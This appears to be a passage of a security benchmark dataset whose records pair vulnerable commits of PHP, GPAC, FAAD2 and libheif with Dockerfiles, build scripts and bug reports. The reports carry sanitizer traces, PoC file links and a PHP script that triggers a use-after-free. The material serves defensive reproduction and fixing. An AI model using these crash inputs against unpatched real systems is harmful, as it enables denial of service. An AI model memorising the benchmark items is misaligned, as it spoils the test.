0x361d7e90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x361d7ea0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x361d7eb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x361d7ec0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x361d7ed0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x361d7ee0: fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa fa fa
0x361d7ef0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x361d7f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x361d7f10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x361d7f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x361d7f30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==16765==ABORTING
Comments:
[Comment 1] [2016-04-24 19:41 UTC] [email protected]
Looks like some grapheme functions have negative offset handling messed up on ASCII strings.
[Comment 2] [2016-04-24 20:16 UTC] [email protected]
Fixed in commit fd9689745c44341b1bd6af4756f324be8abba2fb in security repo and in https://gist.github.com/anonymous/2360dd5e33b55938d7eea678a0dd0f9d. Please verify.
Links: https://gist.github.com/anonymous/2360dd5e33b55938d7eea678a0dd0f9d
[Comment 3] [2016-04-25 03:36 UTC] fernando at null-life dot com
Patch works, ASAN stops complaining. Thanks.
[Comment 7] [2016-05-06 06:45 UTC] [email protected]
Use CVE-2016-4540 for the grapheme_stripos issue.
Use CVE-2016-4541 for the grapheme_strpos issue (separately discovered).
Commit References:
fd9689745c44341b1bd6af4756f324be8abba2fb
|
[] |
[
{
"sha": "fd9689745c44341b1bd6af4756f324be8abba2fb",
"url": "https://github.com/php/php-src/commit/fd9689745c44341b1bd6af4756f324be8abba2fb"
},
{
"sha": "c05240731",
"url": null
},
{
"sha": "c05320149",
"url": null
},
{
"sha": "c05390722",
"url": null
}
] |
gpac.cve-2023-4755
|
gpac/gpac
|
7e2e92feb1b30fac1d659f6620d743b5a188ffe0
| 2023-09-02T08:33:04
|
gpac
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev
RUN git clone https://github.com/gpac/gpac gpac
RUN git -C gpac checkout 7e2e92feb1b30fac1d659f6620d743b5a188ffe0
WORKDIR $SRC/gpac
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}"
make -j$(nproc)
|
/src/gpac
|
address
|
================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.dev/bounties/463474b7-a4e8-42b6-8b30-e648a77ee6b3
## Description:
Description
heap-use-after-free in MP4Box.
Version
$ ./bin/gcc/MP4Box -version
MP4Box - GPAC version 2.3-DEV-revrelease
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
Reproduce
complie and run
./configure --enable-sanitizer
make
Proof of Concept
./bin/gcc/MP4Box -dash 1000 -out /dev/null ./crash000024
POC_crash000024 is here.
ASAN
information reported by sanitizer
$ ./bin/gcc/MP4Box -dash 1000 ./crash000024
[Dasher] No template assigned, using $File$_dash$FS$$Number$
[Dasher] No bitrate property assigned to PID crash000024, computing from bitstream
[Dasher] No bitrate property assigned to PID crash000024, computing from bitstream
[RFC6381] Cannot find M4V config, using default mp4v.20
[Dasher] No bitrate property assigned to PID crash000024, computing from bitstream
[Dasher] PID crash000024 config changed during active period, forcing period switch
[MPD] Generating MPD at time 2023-09-01T02:57:51.085Z
[Dasher] End of Period
[MP4Mux] PID has no input packet and configuration not known after 10 retries, aborting initial timing sync
[Dasher] No bitrate property assigned to PID crash000024, computing from bitstream
[Dasher] PID crash000024 config changed during active period, forcing period switch
[MPD] Generating MPD at time 2023-09-01T02:57:51.088Z
[Dasher] End of Period
[RFC6381] Cannot find M4V config, using default mp4v.20
[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 11000/29667
[Dasher] No bitrate property assigned to PID crash000024, computing from bitstream
[Dasher] PID crash000024 config changed during active period, forcing period switch
[MP4Mux] PID has no input packet and configuration not known after 10 retries, aborting initial timing sync
[MP4Mux] Unable to setup fragmentation for track ID 0: Bad Parameter
[MPD] Generating MPD at time 2023-09-01T02:57:51.090Z
[Dasher] End of Period
[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 12000/29667
[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 13000/29667
[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 14000/29667
[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 15000/29667
[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 16000/29667
[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 17000/29667
[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 18000/29667
[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 19000/29667
[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 20000/29667
[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 21000/29667
[Dasher] No bitrate property assigned to PID crash000024, computing from bitstream
[Dasher] PID crash000024 config changed during active period, forcing period switch
[MPD] Generating MPD at time 2023-09-01T02:57:51.093Z
[Dasher] End of Period
[RFC6381] Cannot find M4V config, using default mp4v.20
[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 22000/29667
[Dasher] No bitrate property assigned to PID crash000024, computing from bitstream
=================================================================
==416525==ERROR: AddressSanitizer: heap-use-after-free on address 0x617000012b40 at pc 0x7f561b9e449d bp 0x7ffd43a3c280 sp 0x7ffd43a3c270
READ of size 8 at 0x617000012b40 thread T0
#0 0x7f561b9e449c in mp4_mux_process_fragmented filters/mux_isom.c:6634
#1 0x7f561b9e449c in mp4_mux_process filters/mux_isom.c:7207
#2 0x7f561b66adbe in gf_filter_process_task filter_core/filter.c:2971
#3 0x7f561b62a0ea in gf_fs_thread_proc filter_core/filter_session.c:1962
#4 0x7f561b637a56 in gf_fs_run filter_core/filter_session.c:2261
#5 0x7f561afcd03d in gf_dasher_process media_tools/dash_segmenter.c:1236
#6 0x55c711eb7c26 in do_dash /home/functionmain/Desktop/gpac-master-asan/applications/mp4box/mp4box.c:4825
#7 0x55c711eb7c26 in mp4box_main /home/functionmain/Desktop/gpac-master-asan/applications/mp4box/mp4box.c:6239
#8 0x7f5618279082 in __libc_start_main ../csu/libc-start.c:308
#9 0x55c711e8ffcd in _start (/home/functionmain/Desktop/gpac-master-asan/bin/gcc/MP4Box+0xa5fcd)
0x617000012b40 is located 320 bytes inside of 672-byte region [0x617000012a00,0x617000012ca0)
freed by thread T0 here:
#0 0x7f561e27a40f in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:122
#1 0x7f561b9d9b86 in mp4_mux_configure_pid filters/mux_isom.c:3994
#2 0x7f561b5f941e in gf_filter_pid_configure filter_core/filter_pid.c:876
#3 0x7f561b601505 in gf_filter_pid_disconnect_task filter_core/filter_pid.c:1285
#4 0x7f561b62a0ea in gf_fs_thread_proc filter_core/filter_session.c:1962
#5 0x7f561b637a56 in gf_fs_run filter_core/filter_session.c:2261
#6 0x7f561afcd03d in gf_dasher_process media_tools/dash_segmenter.c:1236
#7 0x55c711eb7c26 in do_dash /home/functionmain/Desktop/gpac-master-asan/applications/mp4box/mp4box.c:4825
#8 0x55c711eb7c26 in mp4box_main /home/functionmain/Desktop/gpac-master-asan/applications/mp4box/mp4box.c:6239
#9 0x7f5618279082 in __libc_start_main ../csu/libc-start.c:308
previously allocated by thread T0 here:
#0 0x7f561e27a808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x7f561b9bf53d in mp4_mux_setup_pid filters/mux_isom.c:1078
#2 0x7f561b5f941e in gf_filter_pid_configure filter_core/filter_pid.c:876
#3 0x7f561b601dee in gf_filter_pid_connect_task filter_core/filter_pid.c:1230
#4 0x7f561b62a0ea in gf_fs_thread_proc filter_core/filter_session.c:1962
#5 0x7f561b637a56 in gf_fs_run filter_core/filter_session.c:2261
#6 0x7f561afcd03d in gf_dasher_process media_tools/dash_segmenter.c:1236
#7 0x55c711eb7c26 in do_dash /home/functionmain/Desktop/gpac-master-asan/applications/mp4box/mp4box.c:4825
#8 0x55c711eb7c26 in mp4box_main /home/functionmain/Desktop/gpac-master-asan/applications/mp4box/mp4box.c:6239
#9 0x7f5618279082 in __libc_start_main ../csu/libc-start.c:308
SUMMARY: AddressSanitizer: heap-use-after-free filters/mux_isom.c:6634 in mp4_mux_process_fragmented
Shadow bytes around the buggy address:
0x0c2e7fffa510: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2e7fffa520: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2e7fffa530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2e7fffa540: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2e7fffa550: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c2e7fffa560: fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd
0x0c2e7fffa570: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2e7fffa580: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2e7fffa590: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2e7fffa5a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2e7fffa5b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==416525==ABORTING
Impact
This is capable of causing crashes.
References
POC_crash000024 is here.
Impact
This is capable of causing crashes.
Relevant Links:
https://github.com/gpac/gpac
https://gitee.com/FUNctionMain/mypoc/raw/master/poc_uaf/crash000024
https://gitee.com/FUNctionMain/mypoc/raw/master/poc_uaf/crash000024
https://gitee.com/FUNctionMain/mypoc/raw/master/poc_uaf/crash000024
|
[] |
[
{
"sha": "463474b7",
"url": null
},
{
"sha": "895ac12da168435eb8db3f96978ffa4c69d66c3a",
"url": "https://github.com/gpac/gpac/commit/895ac12da168435eb8db3f96978ffa4c69d66c3a"
}
] |
faad2.cve-2018-20362
|
knik0/faad2
|
334e7647a5f31903aca33dde39bb8683e9d8cccd
| 2017-12-17T13:54:42
|
faad2
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/knik0/faad2 faad2
RUN git -C faad2 checkout 334e7647a5f31903aca33dde39bb8683e9d8cccd
WORKDIR $SRC/faad2
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./bootstrap
./configure
make -j$(nproc)
|
/src/faad2
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/knik0/faad2/issues/26
## Description:
Issue: knik0/faad2#26
Title: Null pointer dereference vulnerability in ifilter_bank (libfaad/filtbank.c:275)
State: closed
Created by: fantasy7082
Created at: 2018-12-17 06:28:49+00:00
Issue Body:
Hi, i found a null pointer dereference bug in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. It crashed in function ifilter_bank.the details are below(ASAN):
```
./faad faad_res/008-null-point-filtbank_275 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/008-null-point-filtbank_275 file info:
ADTS, 0.043 sec, 74 kbps, 48000 Hz
---------------------
| Config: 2 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Left front |
| 01 | Right front |
---------------------
ASAN:SIGSEGV faad_res/008-null-point-filtbank_275.
=================================================================
==7076==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f5946ec66b1 bp 0x7fff7f757780 sp 0x7fff7f755690 T0)
#0 0x7f5946ec66b0 in ifilter_bank /root/faad2_asan/libfaad/filtbank.c:275
#1 0x7f5946f0119d in reconstruct_channel_pair /root/faad2_asan/libfaad/specrec.c:1258
#2 0x7f5946f07823 in channel_pair_element /root/faad2_asan/libfaad/syntax.c:759
#3 0x7f5946f05cbf in decode_cpe /root/faad2_asan/libfaad/syntax.c:402
#4 0x7f5946f06398 in raw_data_block /root/faad2_asan/libfaad/syntax.c:448
#5 0x7f5946ec09c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#6 0x7f5946ec0566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#7 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#8 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#9 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#10 0x7f5946af882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/filtbank.c:275 ifilter_bank
==7076==ABORTING
```
POC FILE:https://github.com/fantasy7082/image_test/blob/master/008-null-point-filtbank_275
Comments:
Comment by hlef on 2019-02-11 18:01:55+00:00:
I had a look at this issue. This crash appears to happen with all files defining SCE (single channel) frames followed (directly or not) by CPE (stereo) frames.
Rationale: The decoder struct contains a mem_alloced array used to keep track of allocated resources. This array is used to avoid allocating and freeing memory for each single frame. Instead, buffers are allocated when they are first needed for a frame, and the mem_alloced flag corresponding to these buffers is set. Following frames just check for the mem_alloced flag, allowing them to skip the allocation part and use the buffers directly.
Problem: some buffers like hDecoder->fb_intermed are initalized differently depending on whether the frame is mono or stereo.
The result is that reconstruct_channel_pair checks whether the buffer as been initialized, which returns true because reconstruct_single_channel initialized it before, but in fact it is only 'half' initialized because only buffers for the first channel have been allocated, they are still 0x0 for the second channel.
This is a design issue.
Possible fix:
- we should keep the changes small for now, this is a security patch, so I guess this excludes refactoring around this mem_alloced array.
- we could unalloc the buffers and unset the mem_alloced flag when switching between frames but this might have a terrible perf cost.
- we could store more information in mem_alloced (not only 0/1 but the number of channels for example?) but this is not very elegant and might require too many changes.
- we could add a small check to functions like reconstruct_channel_pair to make sure that both channels are well allocated, even if the bit is set. This is not very elegant because it comes down to kind of stop trusting mem_alloced, but this is probably the best complexity / perf tradeoff
I'll PR the last suggestion for now.
FTR: this issue was assigned CVE-2018-20362.
|
[] |
[
{
"sha": "1f1cea70f8fbd3502675ba375a20d531e92fe9be",
"url": "https://github.com/hlef/faad2/commit/1f1cea70f8fbd3502675ba375a20d531e92fe9be"
},
{
"sha": "466b01d504d7e45f1e9169ac90b3e34ab94aed14",
"url": "https://github.com/knik0/faad2/commit/466b01d504d7e45f1e9169ac90b3e34ab94aed14"
},
{
"sha": "6b4a7cde30f2e2cb03e78ef476cc73179cfffda3",
"url": "https://github.com/knik0/faad2/commit/6b4a7cde30f2e2cb03e78ef476cc73179cfffda3"
}
] |
php.cve-2019-11035
|
php/php-src
|
dc1cd3daf2521b352b0c9fa6ade7e49a8cc63130
| 2019-04-02T04:05:09
|
php-src
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev chrpath
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout dc1cd3daf2521b352b0c9fa6ade7e49a8cc63130
WORKDIR $SRC/php-src
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
--enable-option-checking=fatal \
--disable-libxml \
--disable-dom \
--disable-simplexml \
--disable-xml \
--disable-xmlreader \
--disable-xmlwriter \
--without-pear \
--enable-exif \
--disable-phpdbg \
--disable-cgi \
--enable-mbstring
make -j$(nproc)
|
/src/php-src
|
address
|
================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=77831
## Description:
PHP Bug ID: 77831
Summary: Heap-buffer-overflow in exif_iif_add_value in EXIF
Status: Closed
PHP Version: 7.1.27
Assigned: stas (profile)
CVE-ID: 2019-11035
Description:
Description:
------------
Another OSS-Fuzz bug: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=13938
Backtrace:
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400002cb7a at pc 0x00000071d6bb bp 0x7ffdd43127c0 sp 0x7ffdd43127b8
READ of size 8 at 0x60400002cb7a thread T0
SCARINESS: 23 (8-byte-read-heap-buffer-overflow)
#0 0x71d6ba in exif_iif_add_value php-src/ext/exif/exif.c:2158:23
#1 0x71144f in exif_iif_add_tag php-src/ext/exif/exif.c:2173:2
#2 0x718c3f in exif_process_IFD_TAG php-src/ext/exif/exif.c:3530:2
#3 0x7171e8 in exif_process_IFD_in_JPEG php-src/ext/exif/exif.c:3563:8
#4 0x716e92 in exif_process_TIFF_in_JPEG php-src/ext/exif/exif.c:3652:2
#5 0x714b87 in exif_scan_JPEG_header php-src/ext/exif/exif.c:3822:6
#6 0x714417 in exif_scan_FILE_header php-src/ext/exif/exif.c:4215:8
#7 0x713df7 in exif_read_from_impl php-src/ext/exif/exif.c:4356:8
#8 0x710139 in exif_read_from_file php-src/ext/exif/exif.c:4400:8
#9 0x70e842 in zif_exif_read_data php-src/ext/exif/exif.c:4473:9
#10 0xcd44c1 in zend_call_function php-src/Zend/zend_execute_API.c:790:4
#11 0xcd31c9 in _call_user_function_ex php-src/Zend/zend_execute_API.c:627:9
#12 0xfded5d in fuzzer_call_php_func_zval php-src/sapi/fuzzer/fuzzer-sapi.c:222:11
#13 0xfdf0fc in fuzzer_call_php_func php-src/sapi/fuzzer/fuzzer-sapi.c:244:2
#14 0xfde05b in LLVMFuzzerTestOneInput php-src/sapi/fuzzer/fuzzer-exif.c:50:2
#15 0xfe11aa in ExecuteFilesOnyByOne(int, char**) /src/libfuzzer/afl/afl_driver.cpp:156:5
#16 0xfe1411 in main /src/libfuzzer/afl/afl_driver.cpp:193:12
#17 0x7f216285b82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/libc-start.c:291
#18 0x4640a8 in _start
0x60400002cb7f is located 0 bytes to the right of 47-byte region [0x60400002cb50,0x60400002cb7f)
allocated by thread T0 here:
#0 0x4f6f62 in malloc _asan_rtl_
#1 0xc8518d in __zend_malloc php-src/Zend/zend_alloc.c:2937:14
#2 0x7168a6 in exif_file_sections_add php-src/ext/exif/exif.c:1988:10
#3 0x7149f8 in exif_scan_JPEG_header php-src/ext/exif/exif.c:3776:8
#4 0x714417 in exif_scan_FILE_header php-src/ext/exif/exif.c:4215:8
#5 0x713df7 in exif_read_from_impl php-src/ext/exif/exif.c:4356:8
#6 0x710139 in exif_read_from_file php-src/ext/exif/exif.c:4400:8
#7 0x70e842 in zif_exif_read_data php-src/ext/exif/exif.c:4473:9
#8 0xcd44c1 in zend_call_function php-src/Zend/zend_execute_API.c:790:4
#9 0xcd31c9 in _call_user_function_ex php-src/Zend/zend_execute_API.c:627:9
#10 0xfded5d in fuzzer_call_php_func_zval php-src/sapi/fuzzer/fuzzer-sapi.c:222:11
#11 0xfdf0fc in fuzzer_call_php_func php-src/sapi/fuzzer/fuzzer-sapi.c:244:2
#12 0xfde05b in LLVMFuzzerTestOneInput php-src/sapi/fuzzer/fuzzer-exif.c:50:2
#13 0xfe11aa in ExecuteFilesOnyByOne(int, char**) /src/libfuzzer/afl/afl_driver.cpp:156:5
#14 0xfe1411 in main /src/libfuzzer/afl/afl_driver.cpp:193:12
#15 0x7f216285b82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/libc-start.c:291
Comments:
[Comment 1] [2019-04-02 06:46 UTC] [email protected]
Looks like exif_iif_add_tag and exif_iif_add_value do not check the length of the values that are supplied to them. Probably needs to be fixed.
|
[
{
"content": "deb http://archive.ubuntu.com/ubuntu/ cosmic universe\n\n",
"filename": "cosmic.list"
},
{
"content": "[libfuzzer]\ndetect_leaks=0",
"filename": "runtime.options"
}
] |
[] |
php.cve-2016-7413
|
php/php-src
|
65c8caafa83ca78a8b2fa22257b4dea85b6114e5
| 2016-09-12T23:04:23
|
php-src
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout 65c8caafa83ca78a8b2fa22257b4dea85b6114e5
WORKDIR $SRC/php-src
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
--enable-option-checking=fatal \
--disable-libxml \
--disable-dom \
--disable-simplexml \
--disable-xml \
--disable-xmlreader \
--disable-xmlwriter \
--without-pear \
--enable-exif \
--disable-phpdbg \
--disable-cgi
make -j$(nproc)
|
/src/php-src
|
address
|
================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=72860
## Description:
PHP Bug ID: 72860
Summary: wddx_deserialize use-after-free
Status: Closed
PHP Version: 5.6.25
Assigned: stas (profile)
CVE-ID: 2016-7413
Description:
Description:
------------
When WDDX tries to deserialize "recordset" element, use after free happens if close tag for the field is not found. This happens only when field names are set.
Test script:
---------------
<?php
$xml=<<<XML
<?xml version='1.0'?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<recordset fieldNames='F'>
<field name='F'>
</recordset>
</wddxPacket>
XML;
var_dump(wddx_deserialize($xml));
Expected result:
----------------
No crash
Actual result:
--------------
USE_ZEND_ALLOC=0 /home/operac/build2/bin/php -n wdx13.php
=================================================================
==31491==ERROR: AddressSanitizer: heap-use-after-free on address 0x60300004caf0 at pc 0x0000018c8492 bp 0x7ffe96410330 sp 0x7ffe96410320
READ of size 4 at 0x60300004caf0 thread T0
#0 0x18c8491 in zval_delref_p /home/operac/build2/php-src-56/Zend/zend.h:411
#1 0x18c8491 in i_zval_ptr_dtor /home/operac/build2/php-src-56/Zend/zend_execute.h:76
#2 0x18c8491 in _zval_ptr_dtor /home/operac/build2/php-src-56/Zend/zend_execute_API.c:424
#3 0x15c7840 in wddx_stack_destroy /home/operac/build2/php-src-56/ext/wddx/wddx.c:234
#4 0x15c7840 in php_wddx_deserialize_ex /home/operac/build2/php-src-56/ext/wddx/wddx.c:1192
#5 0x15c878d in zif_wddx_deserialize /home/operac/build2/php-src-56/ext/wddx/wddx.c:1391
#6 0x1d5c3e3 in zend_do_fcall_common_helper_SPEC /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558
#7 0x1c0568c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
#8 0x194d3d2 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
#9 0x169b32f in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
#10 0x1d653b6 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
#11 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
#12 0x7f5378c6182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#13 0x4556b8 in _start (/home/operac/build2/bin/php+0x4556b8)
0x60300004caf0 is located 16 bytes inside of 32-byte region [0x60300004cae0,0x60300004cb00)
freed by thread T0 here:
#0 0x7f537b22b2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x19a93ae in zend_hash_destroy /home/operac/build2/php-src-56/Zend/zend_hash.c:548
#2 0x193e4f0 in _zval_dtor_func /home/operac/build2/php-src-56/Zend/zend_variables.c:45
#3 0x18c8305 in _zval_dtor /home/operac/build2/php-src-56/Zend/zend_variables.h:35
#4 0x18c8305 in i_zval_ptr_dtor /home/operac/build2/php-src-56/Zend/zend_execute.h:79
#5 0x18c8305 in _zval_ptr_dtor /home/operac/build2/php-src-56/Zend/zend_execute_API.c:424
#6 0x15c7840 in wddx_stack_destroy /home/operac/build2/php-src-56/ext/wddx/wddx.c:234
#7 0x15c7840 in php_wddx_deserialize_ex /home/operac/build2/php-src-56/ext/wddx/wddx.c:1192
#8 0x15c878d in zif_wddx_deserialize /home/operac/build2/php-src-56/ext/wddx/wddx.c:1391
#9 0x1d5c3e3 in zend_do_fcall_common_helper_SPEC /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558
#10 0x1c0568c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
#11 0x194d3d2 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
#12 0x169b32f in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
#13 0x1d653b6 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
#14 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
#15 0x7f5378c6182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
previously allocated by thread T0 here:
#0 0x7f537b22b602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x15b4277 in php_wddx_push_element /home/operac/build2/php-src-56/ext/wddx/wddx.c:876
#2 0x15ec5d3 in _start_element_handler /home/operac/build2/php-src-56/ext/xml/compat.c:84
#3 0x7f53799bda20 in xmlParseStartTag (/usr/lib/x86_64-linux-gnu/libxml2.so.2+0x45a20)
SUMMARY: AddressSanitizer: heap-use-after-free /home/operac/build2/php-src-56/Zend/zend.h:411 zval_delref_p
Comments:
[Comment 1] [2016-09-06 06:43 UTC] [email protected]
The fix is in security repo as ee552853ff4d72f626102025133e2cd1575043ee and in https://gist.github.com/4f730c88f90c15b0216e8651af525972
please verify
Links: https://gist.github.com/4f730c88f90c15b0216e8651af525972
[Comment 2] [2016-09-12 02:33 UTC] [email protected]
Related To: Bug #73064
Links: https://bugs.php.net/bug.php?id=73064
[Comment 9] [2016-09-16 09:25 UTC] stackexploit at gmail dot com
Related To: Bug #73064
Links: https://bugs.php.net/bug.php?id=73064
[Comment 10] [2016-09-16 09:25 UTC] stackexploit at gmail dot com
Related To: Bug #73064
Links: https://bugs.php.net/bug.php?id=73064
Commit References:
ee552853ff4d72f626102025133e2cd1575043ee
|
[] |
[
{
"sha": "b88393f08a558eec14964a55d3c680fe67407712",
"url": "https://github.com/php/php-src/commit/b88393f08a558eec14964a55d3c680fe67407712"
},
{
"sha": "ee552853ff4d72f626102025133e2cd1575043ee",
"url": "https://github.com/php/php-src/commit/ee552853ff4d72f626102025133e2cd1575043ee"
}
] |
libheif.cve-2023-49460
|
strukturag/libheif
|
82219b903001305fd916874a29dd372d92927d48
| 2023-11-21T03:34:52
|
libheif
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y autoconf automake build-essential cmake libtool make mercurial pkg-config yasm
RUN git clone https://github.com/strukturag/libheif libheif
RUN git -C libheif checkout 82219b903001305fd916874a29dd372d92927d48
WORKDIR $SRC/libheif
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
export DEPS_PATH=$SRC/deps
mkdir -p $DEPS_PATH
cd $SRC/x265/build/linux
cmake -G "Unix Makefiles" \
-DCMAKE_C_COMPILER=$CC -DCMAKE_CXX_COMPILER=$CXX \
-DCMAKE_C_FLAGS="$CFLAGS" -DCMAKE_CXX_FLAGS="$CXXFLAGS" \
-DCMAKE_INSTALL_PREFIX="$DEPS_PATH" \
-DENABLE_SHARED:bool=off \
../../source
make clean -j$(nproc)
make -j$(nproc) x265-static
make install -j$(nproc)
cd $SRC/libde265
./autogen.sh
./configure \
--prefix="$DEPS_PATH" \
--disable-shared \
--enable-static \
--disable-dec265 \
--disable-sherlock265 \
--disable-hdrcopy \
--disable-enc265 \
--disable-acceleration_speed
make -j$(nproc)
mkdir -p $SRC/aom/build/linux
cd $SRC/aom/build/linux
